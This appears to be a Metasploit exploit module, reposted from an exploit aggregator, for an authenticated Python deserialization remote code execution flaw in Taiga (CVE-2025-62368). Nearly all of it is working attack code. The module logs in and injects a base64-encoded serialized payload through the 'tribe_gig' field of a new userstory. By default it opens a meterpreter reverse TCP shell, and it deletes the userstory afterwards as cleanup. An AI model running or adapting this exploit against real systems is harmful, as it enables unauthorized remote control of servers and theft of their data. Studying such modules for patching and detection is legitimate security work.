Share
## https://sploitus.com/exploit?id=PACKETSTORM:213594
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class TaigaClientException < StandardError; end
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
            'Description' => %q{
              This module exploits an unserialization flaw by
              creating a userstory in a project.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'rootjog',      # Discovery
              'whotwagner'    # Metasploit Module
            ],
            'References' => [
              ['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
              ['CVE', '2025-62368']
            ],
            'Platform' => %w[linux unix python],
            'Targets' => [
              [
                'Python payload',
                {
                  'Arch' => [ ARCH_PYTHON ],
                  'Platform' => 'python',
                  'Type' => :python,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ],
                  'Platform' => %w[unix linux],
                  'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'SSL' => false
            },
            'Privileged' => false,
            'DisclosureDate' => '2025-10-28',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
            OptString.new('USERNAME', [true, 'The username to authenticate as']),
            OptString.new('PASSWORD', [true, 'The password to authenticate with'])
          ]
        )
      end
    
      def authenticate(user, pass)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => {
            username: user,
            password: pass,
            type: 'normal'
          }.to_json,
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Login failed' if res&.code != 200
    
        parsed_json = res.get_json_document
        @token = parsed_json['auth_token']
        @taiga_user_id = parsed_json['id']
      end
    
      def get_project
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
          'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
          'method' => 'GET',
          'ctype' => 'application/json',
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Get projects failed!' if res&.code != 200
    
        projects = res.get_json_document
        projects.each do |project|
          @taiga_project = project['id'] if project['is_kanban_activated']
        end
    
        raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
      end
    
      def get_status
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
          'vars_get' => { 'project' => @taiga_project },
          'method' => 'GET',
          'ctype' => 'application/json',
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Get status failed!' if res&.code != 200
    
        status_data = res.get_json_document
        raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'
    
        status_data['statuses'].each do |stat|
          return stat['id'] if stat['name'] == 'New'
        end
      end
    
      def delete_userstory(id)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
          'method' => 'DELETE',
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Bearer #{@token}" },
          'keep_cookies' => true
        )
      end
    
      def send_payload(payload, project_status)
        temp_project = Rex::Text.rand_text_alpha(10..15)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Bearer #{@token}" },
          'data' => {
            _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
            tribe_gig: payload.to_s
          }.to_json
        )
      end
    
      def check
        cookie_jar.clear
        begin
          authenticate(datastore['USERNAME'], datastore['PASSWORD'])
          get_project
          project_status = get_status
        rescue TaigaClientException => e
          return Exploit::CheckCode::Unknown(e)
        end
        sleep_time = rand(5..10)
        pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
        command = Rex::Text.encode_base64(pl)
        res, elapsed_time = Rex::Stopwatch.elapsed_time do
          send_payload(command, project_status)
        end
        return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201
    
        user_story_id = res.get_json_document['id']
        res = delete_userstory(user_story_id)
        print_warning('Cleanup failed') unless res&.code == 204
    
        print_status("Elapsed time: #{elapsed_time} seconds.")
        return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time
    
        Exploit::CheckCode::Safe('Target is not vulnerable')
      end
    
      def execute_command(cmd, _opts = {})
        # calls some method to inject cmd to the vulnerable code.
        begin
          project_status = get_status
        rescue TaigaClientException => e
          fail_with(Failure::UnexpectedReply, e)
        end
        print_status('Sending payload..')
        res = send_payload(cmd, project_status)
        print_good('Payload sent')
        user_story_id = res.get_json_document['id']
        print_status('Cleanup..')
        res = delete_userstory(user_story_id)
        print_warning('Cleanup failed') unless res&.code == 204
        print_good('Userstory deleted')
      end
    
      def exploit
        cookie_jar.clear
    
        begin
          authenticate(datastore['USERNAME'], datastore['PASSWORD'])
          get_project
        rescue TaigaClientException => e
          fail_with(Failure::UnexpectedReply, e)
        end
    
        if target['Type'] == :python
          command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
        else
          command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
        end
        data = Rex::Text.encode_base64(command)
        execute_command(data)
      end
    end